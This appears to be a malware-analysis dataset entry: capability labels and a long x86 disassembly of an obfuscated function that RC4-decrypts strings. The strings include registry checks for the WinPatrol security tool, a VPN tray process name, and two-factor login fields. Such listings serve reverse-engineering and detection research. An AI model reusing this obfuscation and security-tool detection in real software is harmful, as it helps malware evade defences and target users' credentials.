Function at 0x1000c104
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x398
mov dword [ebp - 0x398], 5
xorps xmm1, xmm1
mov dword [ebp - 0x394], 0x19
xorps xmm2, xmm2
mov dword [ebp - 0x390], 0x26
mov dword [ebp - 0x38c], 0xffffffbc
movups xmm0, xmmword [ebp - 0x398]
mov dword [ebp - 0x198], 0x62
mov dword [ebp - 0x194], 0x38
psubd xmm1, xmm0
mov dword [ebp - 0x190], 6
movaps xmm0, xmm1
mov dword [ebp - 0x18c], 0x950
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x2c], ecx
movups xmm0, xmm1
mov dword [ebp - 0x354], edx
psrldq xmm0, 4
paddd xmm1, xmm0
mov word [ebp - 0xc], 0x49d0
movups xmm0, xmmword [ebp - 0x198]
push esi
push edi
psubd xmm2, xmm0
movd dword [ebp - 0x25c], xmm1
movaps xmm0, xmm2
mov byte [ebp - 0xa], 0xb1
psrldq xmm0, 8
lea edi, [ebp - 0x1f8]
paddd xmm2, xmm0
mov esi, str.DetectHKCUSoftwareBillP_StudiosWinPatrol
movups xmm0, xmm2
psrldq xmm0, 4
paddd xmm2, xmm0
movd eax, xmm2
push 0xc
add eax, 0xb2e
mov dword [ebp - 0x35c], eax
pop eax
mov ecx, eax
mov dword [ebp - 0x174], eax
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov eax, ecx
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000c1f4
mov esi, dword [0x10026cec]
mov edi, ecx
mov dword [ebp - 0x1c8], 0x2f
xor edx, edx
mov cl, byte [ebp + edi - 0x168]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x1c8]
movzx ecx, cl
xor esi, 0x1020a010
and esi, 0x3063f413
movzx eax, byte [ebp + edx - 0x1f8]
mov edx, esi
add eax, dword [ebp - 0x10]
add esi, 0x1ba6372
add ecx, eax
mov dword [0x10026dec], edx
movzx ecx, cl
mov dword [ebp - 0x10], ecx
mov al, byte [ebp + ecx - 0x168]
mov byte [ebp + edi - 0x168], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x168], al
cmp edi, 0x100
jb 0x1000c215
xor eax, eax
mov dword [0x10026cec], esi
mov dword [ebp - 0x20], eax
mov ecx, eax
mov edi, eax
lea eax, [ecx + 1]
movzx ecx, al
mov dword [ebp - 8], ecx
mov al, byte [ebp + ecx - 0x168]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x10]
movzx eax, al
mov dword [ebp - 0x20], eax
xor eax, eax
inc eax
cmp eax, 0x1906
jl 0x1000c2c3
cmp byte [eax + str.acc_login_tfa_totp], 0
jne 0x1000c2b0
jmp 0x1000c2d7
call fcn.1000bbd1
mov edx, dword [0x10026dec]
mov esi, dword [0x10026cec]
mov ecx, dword [ebp - 8]
lea eax, [esi + 0x438a3c1d]
mov dword [0x10026c3c], eax
mov eax, dword [ebp - 0x20]
lea esi, [edx + 0x13bc623]
mov dword [0x10026cec], esi
mov al, byte [ebp + eax - 0x168]
mov byte [ebp + ecx - 0x168], al
mov eax, dword [ebp - 0x20]
mov cl, byte [ebp - 1]
mov byte [ebp + eax - 0x168], cl
mov ecx, dword [ebp - 8]
movzx eax, byte [ebp + ecx - 0x168]
add eax, dword [ebp - 0x10]
movzx eax, al
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + edi - 0xc]
mov byte [ebp + edi - 0x260], al
inc edi
cmp edi, 3
jb 0x1000c289
xor eax, eax
mov dword [ebp - 8], 0x4fa2762a
mov ah, byte [str._image_map_startOverIconMap]
mov ecx, edx
and ecx, 0x9c136edd
mov byte [ebp - 0x25d], al
mov dword [ebp - 0x170], 0x30
mov esi, str._image_map_startOverIconMap
mov dword [ebp - 0x44], 9
test ah, ah
je 0x1000c387
mov al, ah
sub al, 0x30
cmp al, 9
ja 0x1000c381
inc esi
mov al, byte [esi]
test al, al
jne 0x1000c372
jmp 0x1000c387
xor ecx, 0x1771f401
mov esi, str.Content_Type:
movzx eax, ah
lea edi, [ebp - 0x58]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [edx - 0x2836d758]
mov esi, 0x193
xor edx, edx
mov edx, str._image_map_startOverIconMap
jmp 0x1000c3b9
add esi, eax
inc edx
cmp esi, 0x138f
ja 0x1000c3bf
movzx eax, byte [edx]
test eax, eax
jne 0x1000c3ab
jmp 0x1000c3c5
and ecx, 0x36d47538
add ecx, 0x821bc7c
mov dword [0x10026cec], ecx
mov esi, str.CrapServer
or edi, 0x56fa1a10
push esi
push ecx
mov edx, esi
mov dword [0x10026c3c], edi
call fcn.1000b823
pop ecx
xor eax, eax
pop ecx
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10026cec]
mov edx, esi
mov eax, ecx
xor eax, 0x96098229
push esi
push ecx
mov dword [0x10026c3c], eax
call fcn.1000b823
mov edi, dword [0x10026c3c]
pop ecx
pop ecx
mov dword [ebp - 0x48], edi
lea eax, [edi + 0x7fdb7223]
mov dword [ebp - 0x24], eax
mov dword [0x10026dec], eax
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x168], al
inc eax
mov dword [ebp - 0x10], eax
cmp eax, 0x100
jb 0x1000c3f2
xor eax, eax
mov dword [ebp - 0x60], 0xd
mov esi, eax
mov edi, eax
xor edx, edx
mov cl, byte [ebp + esi - 0x168]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x60]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x58]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x168]
mov byte [ebp + esi - 0x168], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x168], al
cmp esi, 0x100
jb 0x1000c448
mov ecx, dword [ebp - 0x24]
xor eax, eax
mov edi, dword [ebp - 0x48]
mov edx, eax
mov dword [ebp - 0x20], eax
mov esi, eax
lea eax, [edx + 1]
mov dword [ebp - 0x10], 0x7d1
movzx edx, al
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x18], str.CrapServer
mov dword [ebp - 0x28], 0x43
mov al, byte [ebp + edx - 0x168]
movzx edx, al
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, edx
mov dword [ebp - 0x16c], edx
movzx eax, al
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x28]
add dword [ebp - 0x18], 2
cmp eax, 0x17de
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x20]
ja 0x1000c4fd
mov edx, dword [ebp - 0x18]
movzx edx, word [edx]
mov dword [ebp - 0x28], edx
test edx, edx
mov edx, dword [ebp - 0xc]
jne 0x1000c4d4
jmp 0x1000c526
mov edx, dword [0x10026cec]
push str.CrapServer
push str._image_map_startOverIconMap
call fcn.1000bdbc
mov edi, dword [0x10026dec]
mov edx, dword [ebp - 0xc]
add edi, 0xa64f4a52
mov eax, dword [ebp - 0x20]
pop ecx
pop ecx
mov al, byte [ebp + eax - 0x168]
xor edi, 0xc4c4852c
mov byte [ebp + edx - 0x168], al
mov ecx, edi
mov eax, dword [ebp - 0x20]
or ecx, 0x8d1b73a8
mov dl, byte [ebp - 1]
mov dword [0x10026c3c], edi
mov dword [0x10026dec], ecx
mov byte [ebp + eax - 0x168], dl
mov edx, dword [ebp - 0xc]
movzx eax, byte [ebp + edx - 0x168]
add eax, dword [ebp - 0x16c]
movzx eax, al
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + esi - 8]
mov byte [ebp + esi - 0x324], al
inc esi
cmp esi, 4
jb 0x1000c498
and ecx, 0xdcc68044
mov dword [ebp - 0x40], 0x31
xor eax, eax
mov dword [ebp - 0x3c], 0x60
push 0x44
mov byte [ebp - 0x320], al
pop edx
mov dword [ebp - 0x38], 0x97
add edx, dword [ebp + eax*4 - 0x40]
inc eax
cmp eax, 3
jl 0x1000c5b1
mov esi, str.pia_tray.exe
mov dword [ebp - 0x358], edx
lea edi, [ebp - 0x58]
mov word [ebp - 0xc], 0xa4c7
push 0x61
mov byte [ebp - 0xa], 0xef
movsd dword es:[edi], dword [esi]
pop edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, str.acc_login_tfa_totp
mov esi, 0xcea
mov eax, edi
add esi, edx
inc eax
cmp esi, 0x1a91
ja 0x1000c5fa
movsx edx, byte [eax]
test edx, edx
jne 0x1000c5e6
jmp 0x1000c609
mov eax, dword [0x10026cec]
add eax, 0x707b7bca
mov dword [0x10026dec], eax
or ecx, 0x49ec7675
lea edx, [ecx + 0x34ebbd1f]
mov esi, edi
mov dword [0x10026cec], edx
mov al, 0x61
sub al, 0x30
cmp al, 9
ja 0x1000c62e
inc esi
mov al, byte [esi]
test al, al
jne 0x1000c61f
jmp 0x1000c63a
add edx, 0x478440eb
mov dword [0x10026cec], edx
sub ecx, 0x16af6819
mov dword [0x10026c3c], ecx
call fcn.1000bbd1
xor ecx, ecx
mov edi, ecx
mov eax, ecx
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000c651
mov esi, ecx
xor edx, edx
mov cl, byte [ebp + esi - 0x168]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x174]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x58]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x168]
mov byte [ebp + esi - 0x168], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x168], al
cmp esi, 0x100
jb 0x1000c662
mov ecx, dword [0x10026cec]
xor eax, eax
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
mov dword [ebp - 0x10], 0x43
movzx edi, al
mov al, byte [ebp + edi - 0x168]
movzx edx, al
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x18]
add eax, edx
mov dword [ebp - 0x24], edx
movzx eax, al
mov edx, 0x1f55
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x168]
mov byte [ebp + edi - 0x168], al
mov eax, str.CrapServer
jmp 0x1000c6fd
mov edx, dword [ebp - 0x16c]
add edx, dword [ebp - 0x10]
lea eax, [eax + 2]
mov dword [ebp - 0x16c], edx
cmp edx, 0x102c
ja 0x1000c723
movzx edx, word [eax]
mov dword [ebp - 0x10], edx
test edx, edx
mov edx, dword [0x10026c3c]
jne 0x1000c6f7
jmp 0x1000c745
mov eax, str.CrapServer
push eax
push ecx
mov edx, eax
call fcn.1000b823
mov edx, dword [0x10026c3c]
pop ecx
add edx, 0x47faac08
pop ecx
mov dword [0x10026c3c], edx
mov eax, dword [ebp - 0x18]
mov ecx, edx
mov dl, byte [ebp - 1]
and ecx, 0xca21a213
mov dword [0x10026cec], ecx
mov byte [ebp + eax - 0x168], dl
movzx eax, byte [ebp + edi - 0x168]
add eax, dword [ebp - 0x24]
movzx eax, al
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x258], al
inc esi
cmp esi, 3
jb 0x1000c6b5
push 6
mov eax, dword [0x10026dec]
lea edi, [ebp - 0x1e4]
pop ecx
mov esi, str..programDetailsTableBody_
mov dword [ebp - 8], 0xc264b024
rep movsd dword es:[edi], dword [esi]
xor eax, 0x36dffa62
xor edx, edx
mov dword [ebp - 0x24], eax
and eax, 0xd88657c
mov dword [ebp - 0x28], eax
movsw word es:[edi], word [esi]
mov byte [ebp - 0x255], dl
mov dword [ebp - 0x18], edx
movsb byte es:[edi], byte [esi]
mov esi, eax
mov eax, edx
and esi, 0xbeada885
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000c7ce
mov edi, dword [ebp - 0x24]
mov ecx, edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x16c], 0x1a
mov al, byte [ebp + ecx - 0x168]
xor edx, edx
mov byte [ebp - 1], al
add esi, 0x47cd6378
mov eax, ecx
mov dword [0x10026cec], esi
push 0x1a
pop ecx
div ecx
movzx ecx, byte [ebp - 1]
movzx eax, byte [ebp + edx - 0x1e4]
mov edx, 0x1352
add eax, dword [ebp - 0x18]
add ecx, eax
movzx eax, cl
mov ecx, str._image_map_startOverIconMap
mov dword [ebp - 0x18], eax
movzx eax, byte [str._image_map_startOverIconMap]
test eax, eax
je 0x1000c865
add edx, eax
inc ecx
cmp edx, 0xf31
ja 0x1000c857
movzx eax, byte [ecx]
test eax, eax
jne 0x1000c83a
mov edi, dword [ebp - 0x28]
add edi, 0xf406af82
jmp 0x1000c86b
mov esi, edi
and esi, 0x2e567e3e
mov dword [0x10026cec], esi
xor edi, 0xa2c0875d
lea eax, [esi + 0x3167255]
mov dword [0x10026c3c], edi
mov dword [0x10026dec], eax
call fcn.1000b53f
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
mov al, byte [ebp + edx - 0x168]
mov byte [ebp + ecx - 0x168], al
inc ecx
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x168], al
mov dword [ebp - 0x10], ecx
cmp ecx, 0x100
jae 0x1000c8c4
mov eax, dword [0x10026c3c]
mov edi, dword [0x10026dec]
mov esi, dword [0x10026cec]
mov dword [ebp - 0x28], eax
jmp 0x1000c7ef
mov edx, dword [0x10026dec]
xor eax, eax
mov ecx, eax
mov esi, eax
mov edi, eax
lea eax, [esi + 1]
mov dword [ebp - 0x10], str.CrapServer
movzx esi, al
push 0x43
mov al, byte [ebp + esi - 0x168]
mov byte [ebp - 1], al
movzx eax, al
add eax, ecx
movzx ecx, al
mov dword [ebp - 0x28], ecx
pop eax
add eax, 0xffffffd0
cmp ax, word [ebp - 0x44]
ja 0x1000c919
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x28]
add eax, 2
mov dword [ebp - 0x10], eax
movzx eax, word [eax]
mov dword [ebp - 0x24], eax
test ax, ax
jne 0x1000c8f7
jmp 0x1000c91f
xor edx, 0xadbc1351
mov al, byte [ebp + ecx - 0x168]
mov byte [ebp + esi - 0x168], al
mov eax, edx
xor eax, 0x8344810
or eax, 0xb18312ed
mov dword [ebp - 0x10], eax
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x168], al
movzx ecx, byte [ebp + esi - 0x168]
movzx eax, al
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp - 0x28]
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + edi - 8]
mov byte [ebp + edi - 0x32c], al
inc edi
cmp edi, 4
jb 0x1000c8d2
xor eax, eax
mov dword [ebp - 0x54], 5
push 0x58
mov byte [ebp - 0x328], al
pop ecx
mov dword [ebp - 0x50], 0x118
add ecx, dword [ebp + eax*4 - 0x54]
inc eax
cmp eax, 2
jl 0x1000c98e
mov esi, str.Request_
mov dword [ebp - 0x360], ecx
lea edi, [ebp - 0x54]
mov word [ebp - 0xc], 0x4ea7
and edx, 0x83ffff79
mov byte [ebp - 0xa], 0x51
mov dword [0x10026dec], edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [0x10026cec]
and esi, 0x6000dc95
xor ecx, ecx
mov dword [ebp - 0x48], esi
mov eax, ecx
mov dword [0x10026cec], esi
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000c9d8
mov edi, ecx
mov esi, ecx
mov dl, byte [ebp + edi - 0x168]
mov eax, edi
and eax, 7
movzx ecx, dl
movzx eax, byte [ebp + eax - 0x54]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x168]
mov byte [ebp + edi - 0x168], al
inc edi
mov byte [ebp + esi - 0x168], dl
cmp edi, 0x100
jb 0x1000c9eb
mov esi, dword [ebp - 0x48]
mov ecx, str.CrapServer
push 0x43
pop edx
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x1000ca4c
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x1000ca2f
mov ecx, dword [ebp - 0x10]
jmp 0x1000ca53
imul ecx, dword [ebp - 0x10], 0xff469c39
add ecx, 0x3e56ddb3
xor eax, eax
mov dword [ebp - 0x18], eax
mov edx, eax
mov edi, eax
lea eax, [edx + 1]
movzx edx, al
mov dword [ebp - 0x24], edx
mov al, byte [ebp + edx - 0x168]
mov byte [ebp - 1], al
movzx eax, al
add eax, dword [ebp - 0x18]
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x168]
mov byte [ebp + edx - 0x168], al
mov edx, str._image_map_startOverIconMap
mov al, byte [str._image_map_startOverIconMap]
jmp 0x1000caa4
sub al, 0x30
cmp al, 9
ja 0x1000caaa
inc edx
mov al, byte [edx]
test al, al
jne 0x1000ca9b
jmp 0x1000cab6
and esi, 0x3123c9db
mov dword [0x10026dec], esi
xor ecx, 0x392cef72
mov dword [0x10026c3c], ecx
call fcn.1000b0c6
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp - 1]
mov edx, dword [ebp - 0x24]
mov byte [ebp + eax - 0x168], cl
imul eax, dword [0x10026dec], 0x45305738
movzx ecx, byte [ebp + edx - 0x168]
add eax, 0x635d7f6e
mov dword [0x10026dec], eax
movzx eax, byte [ebp - 1]
add ecx, eax
movzx eax, cl
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + edi - 0xc]
mov byte [ebp + edi - 0x254], al
inc edi
cmp edi, 3
jae 0x1000cb25
mov esi, dword [0x10026cec]
mov ecx, dword [0x10026c3c]
jmp 0x1000ca62
mov esi, str.blink.console
mov dword [ebp - 8], 0xe1bef274
lea edi, [ebp - 0x58]
xor ecx, ecx
mov byte [ebp - 0x251], cl
mov eax, ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, ecx
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000cb45
mov esi, ecx
xor edx, edx
mov cl, byte [ebp + esi - 0x168]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x60]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x58]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x168]
mov byte [ebp + esi - 0x168], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x168], al
cmp esi, 0x100
jb 0x1000cb56
xor eax, eax
mov esi, eax
mov edi, eax
mov edx, dword [0x10026cec]
and edx, 0x4d4bb5e3
mov dword [ebp - 0x20], eax
mov dword [0x10026cec], edx
mov ecx, edx
jmp 0x1000cbb9
mov esi, dword [ebp - 0x10]
lea eax, [edi + 1]
and ecx, 0x87859020
movzx edi, al
mov eax, ecx
and eax, 0x28401166
mov dword [0x10026c3c], ecx
mov dword [0x10026dec], eax
mov al, byte [ebp + edi - 0x168]
mov byte [ebp - 1], al
movzx eax, al
add eax, esi
movzx esi, al
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, str.CrapServer
mov dword [ebp - 0x10], esi
inc dword [ebp - 0x18]
lea eax, [eax + 2]
cmp dword [ebp - 0x18], 0x1c30
jl 0x1000cc11
xor esi, esi
cmp word [eax], si
mov esi, dword [ebp - 0x10]
jne 0x1000cbf6
jmp 0x1000cc22
mov ecx, edx
call fcn.1000bb7f
imul ecx, dword [0x10026dec], 0x3037ea90
sub ecx, 0x29f59a10
mov dword [0x10026c3c], ecx
call fcn.1000b0c6
xor edx, edx
mov eax, str.CrapServer
mov ecx, edx
inc ecx
lea eax, [eax + 2]
cmp ecx, 0x1806
jg 0x1000cc55
cmp word [eax], dx
jne 0x1000cc3c
mov ecx, dword [0x10026cec]
jmp 0x1000cc77
mov ecx, dword [0x10026cec]
mov eax, str.CrapServer
push eax
push ecx
mov edx, eax
call fcn.1000b823
pop ecx
pop ecx
mov ecx, dword [0x10026cec]
xor ecx, 0xd1563045
mov al, byte [ebp + esi - 0x168]
mov byte [ebp + edi - 0x168], al
imul eax, ecx, 0x558bc6ed
mov edx, 0xca971a34
sub edx, eax
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x168], al
mov esi, dword [0x10026dec]
mov eax, esi
movzx ecx, byte [ebp + edi - 0x168]
or eax, 0xb4392518
mov dword [0x10026c3c], eax
movzx eax, byte [ebp - 1]
add ecx, eax
mov dword [0x10026cec], edx
movzx eax, cl
mov ecx, dword [ebp - 0x20]
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + ecx - 8]
mov byte [ebp + ecx - 0x334], al
inc ecx
mov dword [ebp - 0x20], ecx
mov ecx, edx
cmp dword [ebp - 0x20], 4
jb 0x1000cbb6
xor eax, eax
mov dword [ebp - 0x198], 0x33
mov byte [ebp - 0x330], al
mov dword [ebp - 0x194], 1
mov dword [ebp - 0x190], 0x54
mov dword [ebp - 0x18c], 0x1432
or esi, 0x2f2fef4f
mov dword [0x10026dec], esi
lea eax, [esi - 0x6642a3a5]
mov ecx, str.CrapServer
mov dword [0x10026cec], eax
mov eax, str.acc_login_tfa_totp
push eax
push eax
mov edx, eax
call fcn.1000bf8b
movups xmm0, xmmword [ebp - 0x198]
mov word [ebp - 0xc], 0x593f
mov esi, str.Core_Connected_Connected_Country_Specific
xorps xmm1, xmm1
mov byte [ebp - 0xa], 0x69
psubd xmm1, xmm0
lea edi, [ebp - 0x1f4]
movaps xmm0, xmm1
mov edx, 0x21a7
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
pop ecx
paddd xmm1, xmm0
pop ecx
movd eax, xmm1
push 0xa
add eax, 0x1635
mov dword [ebp - 0x364], eax
pop eax
mov ecx, eax
mov dword [ebp - 0x64], eax
rep movsd dword es:[edi], dword [esi]
push 0x61
mov eax, str.acc_login_tfa_totp
pop ecx
movsw word es:[edi], word [esi]
add edx, ecx
inc eax
cmp edx, 0x1d74
ja 0x1000cdcf
movsx ecx, byte [eax]
test ecx, ecx
jne 0x1000cda9
mov ecx, dword [0x10026dec]
or ecx, 0xf914ac81
mov dword [0x10026dec], ecx
jmp 0x1000cde4
mov eax, dword [0x10026cec]
mov ecx, dword [0x10026dec]
add eax, 0xad990b84
mov dword [0x10026c3c], eax
lea eax, [ecx - 0x42682547]
mov dword [0x10026cec], eax
call fcn.1000b90b
mov eax, dword [0x10026c3c]
xor edx, edx
add eax, 0x263dda9a
mov edi, edx
mov dword [0x10026c3c], eax
mov ecx, edx
or eax, 0x95e99d95
mov dword [0x10026cec], eax
mov byte [ebp + ecx - 0x168], cl
inc ecx
cmp ecx, 0x100
jb 0x1000ce13
mov esi, edx
mov dword [ebp - 0x10], 0x29
xor edx, edx
mov cl, byte [ebp + esi - 0x168]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x10]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x1f4]
xor edx, edx
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x168]
mov byte [ebp + esi - 0x168], al
mov eax, edx
cmp byte [str._image_map_startOverIconMap], al
je 0x1000ce82
inc eax
cmp eax, 0x909
je 0x1000ce7b
cmp byte [eax + str._image_map_startOverIconMap], dl
jne 0x1000ce69
jmp 0x1000ce82
call fcn.1000bc75
xor edx, edx
mov eax, dword [0x10026dec]
mov cl, byte [ebp - 1]
or eax, 0x9ea6b55a
add eax, 0xd1b188af
mov byte [ebp + edi - 0x168], cl
inc esi
mov dword [ebp - 0x18], eax
mov dword [0x10026c3c], eax
cmp esi, 0x100
jb 0x1000ce2c
and eax, 0x7214f3a9
mov ecx, edx
mov edi, edx
mov dword [0x10026dec], eax
mov esi, edx
lea eax, [edi + 1]
movzx edi, al
mov dl, byte [ebp + edi - 0x168]
movzx eax, dl
add eax, ecx
movzx ecx, al
mov dword [ebp - 0x24], ecx
mov al, byte [ebp + ecx - 0x168]
mov byte [ebp + edi - 0x168], al
mov byte [ebp + ecx - 0x168], dl
movzx ecx, byte [ebp + edi - 0x168]
movzx eax, dl
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp - 0x24]
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x250], al
inc esi
cmp esi, 3
jb 0x1000cebc
mov esi, str.requestHeaders
mov dword [ebp - 8], 0xa9d18543
lea edi, [ebp - 0x184]
xor eax, eax
mov byte [ebp - 0x24d], al
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
inc eax
cmp eax, 0x1a04
jl 0x1000cf6d
cmp byte [eax + str.acc_login_tfa_totp], 0
jne 0x1000cf34
cmp eax, 0x1ca9
jle 0x1000cf81
mov edx, dword [0x10026cec]
mov ecx, dword [ebp - 0x18]
push str.CrapServer
push str.acc_login_tfa_totp
call fcn.1000bdbc
pop ecx
pop ecx
mov eax, dword [0x10026c3c]
jmp 0x1000cf84
mov ecx, dword [ebp - 0x18]
call fcn.1000bb7f
or dword [0x10026dec], 0xe2a8bf5a
jmp 0x1000cf66
mov eax, dword [ebp - 0x18]
or eax, 0x45ee551e
mov dword [0x10026cec], eax
call fcn.1000b19c
xor ecx, ecx
mov edi, ecx
mov eax, ecx
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000cf99
mov esi, ecx
mov dword [ebp - 0x24], 0xe
xor edx, edx
mov cl, byte [ebp + esi - 0x168]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x24]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x184]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x168]
mov byte [ebp + esi - 0x168], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x168], al
cmp esi, 0x100
jb 0x1000cfb1
xor eax, eax
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, eax
imul eax, dword [0x10026dec], 0x8dd5e895
mov dword [0x10026dec], eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp + edi - 0x168]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x168]
mov byte [ebp + edi - 0x168], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x168], cl
movzx eax, byte [ebp + edi - 0x168]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x168]
xor al, byte [ebp + esi - 8]
mov byte [ebp + esi - 0x26c], al
inc esi
cmp esi, 4
jb 0x1000cffe
push 0x1a
pop eax
xor ecx, ecx
mov dword [ebp - 0x1dc], eax
mov byte [ebp - 0x268], cl
mov edi, 0xd38
mov dword [ebp - 0x1d8], 0x14
mov esi, ecx
mov dword [ebp - 0x1d4], 0x3c
mov eax, str.CrapServer
mov dword [ebp - 0x1d0], 0x21
mov dword [ebp - 0x1cc], 0xb35
inc esi
lea eax, [eax + 2]
cmp esi, 0x220
jg 0x1000d189
cmp word [eax], cx
jne 0x1000d0aa
imul eax, dword [0x10026c3c], 0x8049aff9
mov dword [0x10026c3c], eax
mov eax, dword [0x10026cec]
or eax, 0x56df4aba
mov dword [0x10026cec], eax
call fcn.1000bbd1
mov eax, dword [0x10026cec]
and eax, 0xfb487a5b
xor ecx, ecx
sub edi, dword [ebp + ecx*4 - 0x1dc]
inc ecx
cmp ecx, 5
jl 0x1000d0ee
mov dword [ebp - 0x368], edi
lea ecx, [eax - 0x51f04271]
mov word [ebp - 0xc], 0x2af7
mov dword [0x10026dec], ecx
lea edi, [ebp - 0x1b8]
push 0xc
pop ecx
mov esi, str.RegKey7HKCUSoftwareMPC_BERecent_File_List
mov byte [ebp - 0xa], 0xd2
rep movsd dword es:[edi], dword [esi]
imul ecx, eax, 0x37b75193
lea edx, [eax + 0x2c2b1a86]
xor eax, eax
movsb byte es:[edi], byte [esi]
mov edi, eax
mov dword [0x10026cec], ecx
mov byte [ebp + eax - 0x168], al
inc eax
cmp eax, 0x100
jb 0x1000d13e
imul edx, edx, 0x31bf545f
mov eax, str.CrapServer
push 0x43
mov dword [ebp - 0x18], 0x2331
pop esi
mov dword [0x10026c3c], edx
add dword [ebp - 0x18], esi
lea eax, [eax + 2]
cmp dword [ebp - 0x18], 0x2334
ja 0x1000d1b8
movzx esi, word [eax]
test esi, esi
jne 0x1000d168
xor ecx, 0x8444d771
mov dword [ebp - 0x28], ecx
jmp 0x1000d1f9
mov ecx, str.acc_login_tfa_totp
call fcn.1000b642
add dword [0x10026dec], 0x6df24000
cmp esi, 0x832
jle 0x1000d0bf
mov eax, dword [0x10026cec]
or eax, 0x8e58bb98
jmp 0x1000d0d3
mov eax, str._image_map_startOverIconMap
mov ecx, str.CrapServer
push str.acc_login_tfa_totp
push eax
mov edx, eax
call fcn.1000bf8b
mov eax, dword [0x10026cec]
pop ecx
and eax, 0x2e833cef
pop ecx
mov dword [0x10026c3c], eax
call fcn.1000b945
mov edx, dword [0x10026c3c]
mov eax, dword [0x10026cec]
or edx, 0x236d5dd1
mov dword [ebp - 0x28], eax
imul eax, edx, 0x67249769
mov dword [ebp - 0x20], eax
xor eax, eax
mov esi, eax
xor edx, edx
mov cl, byte [ebp + esi - 0x168]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x170]
movzx ecx, cl
